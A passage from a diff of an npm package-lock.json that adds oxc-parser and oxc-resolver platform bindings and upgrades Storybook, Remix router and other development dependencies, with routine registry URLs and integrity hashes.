"node_modules/@oxc-parser/binding-freebsd-x64": { + "version": "0.127.0", + "resolved": "https://registry.npmjs.org/@oxc-parser/binding-freebsd-x64/-/binding-freebsd-x64-0.127.0.tgz", + "integrity": "sha512-SDQ/3MQFw58fqQz3Z1PhSKFF3JoCF4gmlNjziDm8X02tTahCw0qJbd7FGPDKw1i4VTBZene9JPyC3mHtSvi+wA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@oxc-parser/binding-linux-arm-gnueabihf": { + "version": "0.127.0", + "resolved": "https://registry.npmjs.org/@oxc-parser/binding-linux-arm-gnueabihf/-/binding-linux-arm-gnueabihf-0.127.0.tgz", + "integrity": "sha512-Av+D1MIqzV0YMGPT9we2SIZaMKD7Cxs4CvXSx/yxaWHewZjYEjScpOf5igc8IILASViw4WTnjlwUdI1KzVtDHQ==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@oxc-parser/binding-linux-arm-musleabihf": { + "version": "0.127.0", + "resolved": "https://registry.npmjs.org/@oxc-parser/binding-linux-arm-musleabihf/-/binding-linux-arm-musleabihf-0.127.0.tgz", + "integrity": "sha512-Cs2fdJ8cPpFdeebj6p4dag8A4+56hPvZ0AhQQzlaLswGz1tz7bXt1nETLeorrM9+AMcWFFkqxcXwDGfTVidY8g==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@oxc-parser/binding-linux-arm64-gnu": { + "version": "0.127.0", + "resolved": "https://registry.npmjs.org/@oxc-parser/binding-linux-arm64-gnu/-/binding-linux-arm64-gnu-0.127.0.tgz", + "integrity": "sha512-qdOfTcT6SY8gsJrrV92uyEUyjqMGPpIB5JZUG6QN5dukYd+7/j0kX6MwK1DgQj39jtUYixxPiaRUiEN1+0CXgQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@oxc-parser/binding-linux-arm64-musl": { + "version": "0.127.0", + "resolved": "https://registry.npmjs.org/@oxc-parser/binding-linux-arm64-musl/-/binding-linux-arm64-musl-0.127.0.tgz", + "integrity": "sha512-EoTCZneNFU/P2qrpEM+RHmQwt+CvDkyGESG6qhr7KaegXLZwePfbrkCDfAk8/rhxbDUVGsZILX+2tqPzFtoFWA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@oxc-parser/binding-linux-ppc64-gnu": { + "version": "0.127.0", + "resolved": "https://registry.npmjs.org/@oxc-parser/binding-linux-ppc64-gnu/-/binding-linux-ppc64-gnu-0.127.0.tgz", + "integrity": "sha512-zALjmZYgxFLHjXeudcDF0xFGNydTAtkAeXAr2EuC17ywCyFxcmQra4w0BMde0Yi/re4Bi4iwEoEXtYN7l6eBLQ==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@oxc-parser/binding-linux-riscv64-gnu": { + "version": "0.127.0", + "resolved": "https://registry.npmjs.org/@oxc-parser/binding-linux-riscv64-gnu/-/binding-linux-riscv64-gnu-0.127.0.tgz", + "integrity": "sha512-fPP8M6zQLS7Jz7o9d5ArUSuAuSK3e+WCYVrCpdzeCOejidtZExJ9tjhDrAd3HEPqARBCPmdpqxESPFqy44vkBQ==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@oxc-parser/binding-linux-riscv64-musl": { + "version": "0.127.0", + "resolved": "https://registry.npmjs.org/@oxc-parser/binding-linux-riscv64-musl/-/binding-linux-riscv64-musl-0.127.0.tgz", + "integrity": "sha512-7IcC4Ao02oGpfnjt+X/oF4U2mllo2qoSkw5xxiXNKL9MCTsTiAC6616beOuehdxGcnz1bRoPC1RQ2f1GQDdN+g==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@oxc-parser/binding-linux-s390x-gnu": { + "version": "0.127.0", + "resolved": "https://registry.npmjs.org/@oxc-parser/binding-linux-s390x-gnu/-/binding-linux-s390x-gnu-0.127.0.tgz", + "integrity": "sha512-pbXIhiNFHoqWeqDNLiJ9JkpHz1IM9k4DXa66x+1GTWMG7iLxtkXgE53iiuKSXwmk3zIYmaPVfBvgcAhS583K4Q==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@oxc-parser/binding-linux-x64-gnu": { + "version": "0.127.0", + "resolved": "https://registry.npmjs.org/@oxc-parser/binding-linux-x64-gnu/-/binding-linux-x64-gnu-0.127.0.tgz", + "integrity": "sha512-MYCguB9RvBvlSd6gbuNI7QwiLoCCAlGnlRJFPrzLI6U1/9wkC/WK6LtBAUln55H1Ctqw45PWmqrobKoMhsYQzQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@oxc-parser/binding-linux-x64-musl": { + "version": "0.127.0", + "resolved": "https://registry.npmjs.org/@oxc-parser/binding-linux-x64-musl/-/binding-linux-x64-musl-0.127.0.tgz", + "integrity": "sha512-5eY0B/bxf1xIUxb4NOTvOI3KWtBQfPWYyKAzgcrCt0mDibSZygVpO1Pz8bkeiSZ5Jj9+M09dkggG3H8I5d0Uyg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@oxc-parser/binding-openharmony-arm64": { + "version": "0.127.0", + "resolved": "https://registry.npmjs.org/@oxc-parser/binding-openharmony-arm64/-/binding-openharmony-arm64-0.127.0.tgz", + "integrity": "sha512-Gld0ajrFTUXNtdw20fVBuTQx66FA75nIVg+//pPfR3sXkuABB4mTBhl3r9JNzrJpgW//qiwxf0nWXUWGJSL3UQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@oxc-parser/binding-wasm32-wasi": { + "version": "0.127.0", + "resolved": "https://registry.npmjs.org/@oxc-parser/binding-wasm32-wasi/-/binding-wasm32-wasi-0.127.0.tgz", + "integrity": "sha512-T6KVD7rhLzFlwGRXMnxUFfkCZD8FHnb968wVXW1mXzgRFc5RNXOBY2mPPDZ77x5Ln76ltLMgtPg0cOkU1NSrEQ==", + "cpu": [ + "wasm32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "@emnapi/core": "1.9.2", + "@emnapi/runtime": "1.9.2", + "@napi-rs/wasm-runtime": "^1.1.4" + }, + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@oxc-parser/binding-win32-arm64-msvc": { + "version": "0.127.0", + "resolved": "https://registry.npmjs.org/@oxc-parser/binding-win32-arm64-msvc/-/binding-win32-arm64-msvc-0.127.0.tgz", + "integrity": "sha512-Ujvw4X+LD1CCGULcsQcvb4YNVoBGqt+JHgNNzGGaCImELiZLk477ifUH53gIbE7EKd933NdTi25JWEr9K2HwXw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@oxc-parser/binding-win32-ia32-msvc": { + "version": "0.127.0", + "resolved": "https://registry.npmjs.org/@oxc-parser/binding-win32-ia32-msvc/-/binding-win32-ia32-msvc-0.127.0.tgz", + "integrity": "sha512-0cwxKO7KHQQQfo4Uf4B2SQrhgm+cJaP9OvFFhx52Tkg4bezsacu83GB2/In5bC415Ueeym+kXdnge/57rbSfTw==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@oxc-parser/binding-win32-x64-msvc": { + "version": "0.127.0", + "resolved": "https://registry.npmjs.org/@oxc-parser/binding-win32-x64-msvc/-/binding-win32-x64-msvc-0.127.0.tgz", + "integrity": "sha512-rOrnSQSCbhI2kowr9XxE7m9a8oQXnBHjnS6j95LxxAnEZ0+Fz20WlRXG4ondQb+ejjt2KOsa65sE6++L6kUd+w==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@oxc-project/types": { + "version": "0.127.0", + "resolved": "https://registry.npmjs.org/@oxc-project/types/-/types-0.127.0.tgz", + "integrity": "sha512-aIYXQBo4lCbO4z0R3FHeucQHpF46l2LbMdxRvqvuRuW2OxdnSkcng5B8+K12spgLDj93rtN3+J2Vac/TIO+ciQ==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/Boshen" + } + }, + "node_modules/@oxc-resolver/binding-android-arm-eabi": { + "version": "11.20.0", + "resolved": "https://registry.npmjs.org/@oxc-resolver/binding-android-arm-eabi/-/binding-android-arm-eabi-11.20.0.tgz", + "integrity": "sha512-IjfWOXRgJFNdORDl+Uf1aibNgZY2guOD3zmOhx1BGVb/MIiqlFTdmjpQNplSN58lhWehnX4UNqC3QwpUo8pjJg==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@oxc-resolver/binding-android-arm64": { + "version": "11.20.0", + "resolved": "https://registry.npmjs.org/@oxc-resolver/binding-android-arm64/-/binding-android-arm64-11.20.0.tgz", + "integrity": "sha512-QqslZAuFQG8Q9xm7JuIn8JUbvywhSBMVhuQHtYW+auirZJloS41oxUUaBXk7uUhZJgp44c5zQLeVvmFaDQB+2Q==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@oxc-resolver/binding-darwin-arm64": { + "version": "11.20.0", + "resolved": "https://registry.npmjs.org/@oxc-resolver/binding-darwin-arm64/-/binding-darwin-arm64-11.20.0.tgz", + "integrity": "sha512-MUcavykj2ewlR+kc5arpg4tC2RvzJkUxWtNv74pf7lcNk00GpIpN43vXMj+j6r4eMmfZhlb8hueKoIb8e9kAGQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@oxc-resolver/binding-darwin-x64": { + "version": "11.20.0", + "resolved": "https://registry.npmjs.org/@oxc-resolver/binding-darwin-x64/-/binding-darwin-x64-11.20.0.tgz", + "integrity": "sha512-BGB16nRUK5Etiv//ihPyzj8Lj1px0mhh4YIfe0FDf045ywknfSm0GEbiRESpr6Q4K82AvnyaRIhhluHByvS4bg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@oxc-resolver/binding-freebsd-x64": { + "version": "11.20.0", + "resolved": "https://registry.npmjs.org/@oxc-resolver/binding-freebsd-x64/-/binding-freebsd-x64-11.20.0.tgz", + "integrity": "sha512-JZgtePaqj3qmD5XFHJaSLWzHRxQu0LaPkdoM1KJXYADvAaa83ijXHclV3ej3CueeW0wxfIAbGCZVP45J0CA7uQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ] + }, + "node_modules/@oxc-resolver/binding-linux-arm-gnueabihf": { + "version": "11.20.0", + "resolved": "https://registry.npmjs.org/@oxc-resolver/binding-linux-arm-gnueabihf/-/binding-linux-arm-gnueabihf-11.20.0.tgz", + "integrity": "sha512-hOQ/p3ry3v3SchUBXicrrnszaI/UmYzM4wtS4RGfwgVUX7a+HbyQSzJ5aOzu+o6XZkFkS3ZXN4PZAzhOb77OSg==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@oxc-resolver/binding-linux-arm-musleabihf": { + "version": "11.20.0", + "resolved": "https://registry.npmjs.org/@oxc-resolver/binding-linux-arm-musleabihf/-/binding-linux-arm-musleabihf-11.20.0.tgz", + "integrity": "sha512-2ArPksaw0AqeuGBfoS715VF+JvJQAhD2niWgjE5hVO+L+nAfikVQopvngCMX9x4BD8itWoQ3dnikrQyl5Ho5Jg==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@oxc-resolver/binding-linux-arm64-gnu": { + "version": "11.20.0", + "resolved": "https://registry.npmjs.org/@oxc-resolver/binding-linux-arm64-gnu/-/binding-linux-arm64-gnu-11.20.0.tgz", + "integrity": "sha512-0bJnmYFp62JdZ4nVMDUZ/C58BCZOCcqgKtnUlp7L9Ojf/czIN+3j72YlLPeWLkzlr6SlYvIQA4SGV/HyO0d+qg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@oxc-resolver/binding-linux-arm64-musl": { + "version": "11.20.0", + "resolved": "https://registry.npmjs.org/@oxc-resolver/binding-linux-arm64-musl/-/binding-linux-arm64-musl-11.20.0.tgz", + "integrity": "sha512-wKHHzPKZo7Ufhv/Bt6yxT7FOgnIgW4gwXcJUipkShGp68W3wGVqvr1Sr0fY65lN0Oy6y41+g2kIDvkgZaMMUkw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@oxc-resolver/binding-linux-ppc64-gnu": { + "version": "11.20.0", + "resolved": "https://registry.npmjs.org/@oxc-resolver/binding-linux-ppc64-gnu/-/binding-linux-ppc64-gnu-11.20.0.tgz", + "integrity": "sha512-RN8goF7Ie0B79L4i4G6OeBocTgSC56vJbQ65VJje+oXnldVpLnOU7j/AQ/dP94TcCS+Yh6WG8u3Qt4ETteXFNQ==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@oxc-resolver/binding-linux-riscv64-gnu": { + "version": "11.20.0", + "resolved": "https://registry.npmjs.org/@oxc-resolver/binding-linux-riscv64-gnu/-/binding-linux-riscv64-gnu-11.20.0.tgz", + "integrity": "sha512-5l1yU6/xQEqLZRzxqmMxJfWPslpwCmBsdDGaBvABPehxquCXDC7dd7oraNdKSJUMDXSM7VvVj8H2D2FTjU7oWw==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@oxc-resolver/binding-linux-riscv64-musl": { + "version": "11.20.0", + "resolved": "https://registry.npmjs.org/@oxc-resolver/binding-linux-riscv64-musl/-/binding-linux-riscv64-musl-11.20.0.tgz", + "integrity": "sha512-xHEvkbgz6UC+A3JOyDQy76LkUaxsNSfIr3/GV8slwZsnuooJiIB34gzJfsyvR4JdCYNUUPsRJc/w/oWkODu+hg==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@oxc-resolver/binding-linux-s390x-gnu": { + "version": "11.20.0", + "resolved": "https://registry.npmjs.org/@oxc-resolver/binding-linux-s390x-gnu/-/binding-linux-s390x-gnu-11.20.0.tgz", + "integrity": "sha512-aWPDUUmSeyHvlW+SoEUd+JIJsQhVhu6a5tBpDRMu058naPAchTgAVGCFy35zjbnFlt0i8hLWziff6HX0D3LU4g==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@oxc-resolver/binding-linux-x64-gnu": { + "version": "11.20.0", + "resolved": "https://registry.npmjs.org/@oxc-resolver/binding-linux-x64-gnu/-/binding-linux-x64-gnu-11.20.0.tgz", + "integrity": "sha512-x2YeSimvhJjKLVD8KSu8f/rqU1potcdEMkApIPJqjZWN7c2Fpt4g2X32WDg1p+XDAmyT7nuQGe0vnhvXeLbH+g==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@oxc-resolver/binding-linux-x64-musl": { + "version": "11.20.0", + "resolved": "https://registry.npmjs.org/@oxc-resolver/binding-linux-x64-musl/-/binding-linux-x64-musl-11.20.0.tgz", + "integrity": "sha512-kcRLEIxpZefeYfLChjpgFf3ilBzRDZ+yobMrpRsQlSrxuFGtm3U6PMU7AaEpMqo3NfDGVyJJseAjnRLzMFHjwQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@oxc-resolver/binding-openharmony-arm64": { + "version": "11.20.0", + "resolved": "https://registry.npmjs.org/@oxc-resolver/binding-openharmony-arm64/-/binding-openharmony-arm64-11.20.0.tgz", + "integrity": "sha512-HHcfnApSZGtKhTiHqe8OZruOZe5XuFQH5/E0Yhj3u8fnFvzkM4/k6WjacUf4SvA0SPEAbfbgYmVPuo0VX/fIBQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ] + }, + "node_modules/@oxc-resolver/binding-wasm32-wasi": { + "version": "11.20.0", + "resolved": "https://registry.npmjs.org/@oxc-resolver/binding-wasm32-wasi/-/binding-wasm32-wasi-11.20.0.tgz", + "integrity": "sha512-Tn0y1XOFYHNfK1wp1Z5QK8Rcld/bsOwRISQXfqAZ5IBpv8Gz1IvV39fUWNprqNdRizgcvFhOzWwFun2zkJsyBg==", + "cpu": [ + "wasm32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "@emnapi/core": "1.10.0", + "@emnapi/runtime": "1.10.0", + "@napi-rs/wasm-runtime": "^1.1.4" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@oxc-resolver/binding-wasm32-wasi/node_modules/@emnapi/core": { + "version": "1.10.0", + "resolved": "https://registry.npmjs.org/@emnapi/core/-/core-1.10.0.tgz", + "integrity": "sha512-yq6OkJ4p82CAfPl0u9mQebQHKPJkY7WrIuk205cTYnYe+k2Z8YBh11FrbRG/H6ihirqcacOgl2BIO8oyMQLeXw==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "@emnapi/wasi-threads": "1.2.1", + "tslib": "^2.4.0" + } + }, + "node_modules/@oxc-resolver/binding-wasm32-wasi/node_modules/@emnapi/runtime": { + "version": "1.10.0", + "resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.10.0.tgz", + "integrity": "sha512-ewvYlk86xUoGI0zQRNq/mC+16R1QeDlKQy21Ki3oSYXNgLb45GV1P6A0M+/s6nyCuNDqe5VpaY84BzXGwVbwFA==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.4.0" + } + }, + "node_modules/@oxc-resolver/binding-win32-arm64-msvc": { + "version": "11.20.0", + "resolved": "https://registry.npmjs.org/@oxc-resolver/binding-win32-arm64-msvc/-/binding-win32-arm64-msvc-11.20.0.tgz", + "integrity": "sha512-qPi25YNPe4YenS8MgsQU2+bIFHxxpLx1LVna2444cEHqNPhNjvWf9zqj4aWE43H9LpAsTmkkAlA3eL5ElBU3mA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@oxc-resolver/binding-win32-x64-msvc": { + "version": "11.20.0", + "resolved": "https://registry.npmjs.org/@oxc-resolver/binding-win32-x64-msvc/-/binding-win32-x64-msvc-11.20.0.tgz", + "integrity": "sha512-Wb14jWEW8huH6It9F6sXd9vrYmIS7pMrgkU6sxpLxkP+9z+wRgs71hUEhRpcn8FOXAFa27FVWfY2tRpbfTzfLw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, "node_modules/@pkgr/core": { - "version": "0.2.9", - "resolved": "https://registry.npmjs.org/@pkgr/core/-/core-0.2.9.tgz", - "integrity": "sha512-QNqXyfVS2wm9hweSYD2O7F0G06uurj9kZ96TRQE5Y9hU7+tgdZwIkbAKc5Ocy1HxEY2kuDQa6cQ1WRs/O5LFKA==", + "version": "0.3.6", + "resolved": "https://registry.npmjs.org/@pkgr/core/-/core-0.3.6.tgz", + "integrity": "sha512-SEeaJLb3qBNF/OaXnaR1NmmBbFYk1zC0ZH/52fATcRPLFg/p791YrcyFFy44Bo9sLaGuSuLp5Q6axbb/O+v/RA==", "dev": true, "license": "MIT", "engines": { - "node": "^12.20.0 || ^14.18.0 || >=16.0.0" + "node": "^14.18.0 || >=16.0.0" }, "funding": { "url": "https://opencollective.com/pkgr" @@ -5091,9 +5762,9 @@ } }, "node_modules/@remix-run/router": { - "version": "1.23.2", - "resolved": "https://registry.npmjs.org/@remix-run/router/-/router-1.23.2.tgz", - "integrity": "sha512-Ic6m2U/rMjTkhERIa/0ZtXJP17QUi2CbWE7cqx4J58M8aA3QTfW+2UlQ4psvTX9IO1RfNVhK3pcpdjej7L+t2w==", + "version": "1.23.3", + "resolved": "https://registry.npmjs.org/@remix-run/router/-/router-1.23.3.tgz", + "integrity": "sha512-4An71tdz9X8+3sI4Qqqd2LWd9vS39J7sqd9EU4Scw7TJE/qB10Flv/UuqbPVgfQV9XoK8Np6jNquZitnZq5i+Q==", "license": "MIT", "engines": { "node": ">=14.0.0" @@ -5521,9 +6192,9 @@ } }, "node_modules/@sinonjs/fake-timers": { - "version": "15.3.2", - "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-15.3.2.tgz", - "integrity": "sha512-mrn35Jl2pCpns+mE3HaZa1yPN5EYCRgiMI+135COjr2hr8Cls9DXqIZ57vZe2cz7y2XVSq92tcs6kGQcT1J8Rw==", + "version": "15.4.0", + "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-15.4.0.tgz", + "integrity": "sha512-DsG+8/LscQIQg68J6Ef3dv10u6nVyetYn923s3/sus5eaGfTo1of5WMZSLf0UJc9KDuKPilPH0UDJCjvNbDNCA==", "dev": true, "license": "BSD-3-Clause", "dependencies": { @@ -5537,16 +6208,16 @@ "license": "ISC" }, "node_modules/@storybook/addon-docs": { - "version": "10.3.6", - "resolved": "https://registry.npmjs.org/@storybook/addon-docs/-/addon-docs-10.3.6.tgz", - "integrity": "sha512-TvIdADVPtauxW0LzXIpIv7X6GxwetorhyNh+6+7MHC27XSBCWVxxRUwL63YeLlHTuXsIk0quG3b1xgwVRzWOJA==", + "version": "10.4.5", + "resolved": "https://registry.npmjs.org/@storybook/addon-docs/-/addon-docs-10.4.5.tgz", + "integrity": "sha512-9mIV0maIxixfuvdpNhr3QMeU/gbJKeaBcWhPYuf176cqDZAG9EUhZ50TIinxeFRbyEGRJqaLPoiYwIu4GJu3jA==", "dev": true, "license": "MIT", "dependencies": { "@mdx-js/react": "^3.0.0", - "@storybook/csf-plugin": "10.3.6", - "@storybook/icons": "^2.0.1", - "@storybook/react-dom-shim": "10.3.6", + "@storybook/csf-plugin": "10.4.5", + "@storybook/icons": "^2.0.2", + "@storybook/react-dom-shim": "10.4.5", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", "ts-dedent": "^2.0.0" @@ -5556,13 +6227,19 @@ "url": "https://opencollective.com/storybook" }, "peerDependencies": { - "storybook": "^10.3.6" + "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", + "storybook": "^10.4.5" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } } }, "node_modules/@storybook/addon-links": { - "version": "10.3.6", - "resolved": "https://registry.npmjs.org/@storybook/addon-links/-/addon-links-10.3.6.tgz", - "integrity": "sha512-tv9Xd68qRGBAvEubaxNo3FuFq4GwuMiBriD+gLGuFK0+/u3cnkuA264aoR1v6YCH3sT3er3+MBimuyKM3jLDxg==", + "version": "10.4.5", + "resolved": "https://registry.npmjs.org/@storybook/addon-links/-/addon-links-10.4.5.tgz", + "integrity": "sha512-IxxiUn0ejhbjbYu5RIaCELRkVpyiDMa2dr3SpA2ovG854Rm6z4XsygaqG0V75Jj4yW2MxDZP9dRWgyQXTRWTIA==", "dev": true, "license": "MIT", "dependencies": { @@ -5573,23 +6250,27 @@ "url": "https://opencollective.com/storybook" }, "peerDependencies": { + "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", - "storybook": "^10.3.6" + "storybook": "^10.4.5" }, "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, "react": { "optional": true } } }, "node_modules/@storybook/builder-vite": { - "version": "10.3.6", - "resolved": "https://registry.npmjs.org/@storybook/builder-vite/-/builder-vite-10.3.6.tgz", - "integrity": "sha512-gpvR/sE4BcrFtmQZ+Ker7zD23oQzoVeqD9nF6cK6yzY+Q0svJXyX2EPmFG4y+EwygD5/vNzDpP84gGMut8VRwg==", + "version": "10.4.5", + "resolved": "https://registry.npmjs.org/@storybook/builder-vite/-/builder-vite-10.4.5.tgz", + "integrity": "sha512-UFtMIojDT61OWhc2ti0wf6pUNlBRLYixyygXXTolaCxdACum6SOgJim+mEZE4S3VuTaZgjTRNyoc0WSJPqjQ2g==", "dev": true, "license": "MIT", "dependencies": { - "@storybook/csf-plugin": "10.3.6", + "@storybook/csf-plugin": "10.4.5", "ts-dedent": "^2.0.0" }, "funding": { @@ -5597,14 +6278,14 @@ "url": "https://opencollective.com/storybook" }, "peerDependencies": { - "storybook": "^10.3.6", + "storybook": "^10.4.5", "vite": "^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0" } }, "node_modules/@storybook/csf-plugin": { - "version": "10.3.6", - "resolved": "https://registry.npmjs.org/@storybook/csf-plugin/-/csf-plugin-10.3.6.tgz", - "integrity": "sha512-9kBf7VRdRqTSIYo+rPtVn5yjYYyK8kP2QhEYx3oiXvfwy4RexmbJnhk/tXa/lNiTqukA1TqaWQ2+5MqF4fu6YQ==", + "version": "10.4.5", + "resolved": "https://registry.npmjs.org/@storybook/csf-plugin/-/csf-plugin-10.4.5.tgz", + "integrity": "sha512-OsSsSLulBmdKTz7MIKLgoWADZB8bjYaAjZZy/THdI50G/TTd6FVSXQMCM7GO7xQZ/EguRY1PmjOVCLbgcnXsDA==", "dev": true, "license": "MIT", "dependencies": { @@ -5617,7 +6298,7 @@ "peerDependencies": { "esbuild": "*", "rollup": "*", - "storybook": "^10.3.6", + "storybook": "^10.4.5", "vite": "*", "webpack": "*" }, @@ -5644,9 +6325,9 @@ "license": "MIT" }, "node_modules/@storybook/icons": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/@storybook/icons/-/icons-2.0.1.tgz", - "integrity": "sha512-/smVjw88yK3CKsiuR71vNgWQ9+NuY2L+e8X7IMrFjexjm6ZR8ULrV2DRkTA61aV6ryefslzHEGDInGpnNeIocg==", + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/@storybook/icons/-/icons-2.0.2.tgz", + "integrity": "sha512-KZBCpXsshAIjczYNXR/rlxEtCUX/eAbpFNwKi8bcOomrLA4t/SyPz5RF+lVPO2oZBUE4sAkt43mfJUevQDSEEw==", "dev": true, "license": "MIT", "peerDependencies": { @@ -5655,14 +6336,14 @@ } }, "node_modules/@storybook/react": { - "version": "10.3.6", - "resolved": "https://registry.npmjs.org/@storybook/react/-/react-10.3.6.tgz", - "integrity": "sha512-oZQZ6xayWe5IdHmFUTL0TL8rX/gpNNh9gWhT2vzW5eeUvlkVG/RBKdsja6Ndrk2s1D9vcnwiI6r6CNXy3IEEmg==", + "version": "10.4.5", + "resolved": "https://registry.npmjs.org/@storybook/react/-/react-10.4.5.tgz", + "integrity": "sha512-VMEqdjplKJTf8KA5ER9kJp51dOJKlgvb9H0F45RL1pX42+briPmTe8VL0yJR3GyMBpicFbFpjZ7AC22DgZ6vNg==", "dev": true, "license": "MIT", "dependencies": { "@storybook/global": "^5.0.0", - "@storybook/react-dom-shim": "10.3.6", + "@storybook/react-dom-shim": "10.4.5", "react-docgen": "^8.0.2", "react-docgen-typescript": "^2.2.2" }, @@ -5671,21 +6352,29 @@ "url": "https://opencollective.com/storybook" }, "peerDependencies": { + "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", + "@types/react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", - "storybook": "^10.3.6", + "storybook": "^10.4.5", "typescript": ">= 4.9.x" }, "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + }, "typescript": { "optional": true } } }, "node_modules/@storybook/react-dom-shim": { - "version": "10.3.6", - "resolved": "https://registry.npmjs.org/@storybook/react-dom-shim/-/react-dom-shim-10.3.6.tgz", - 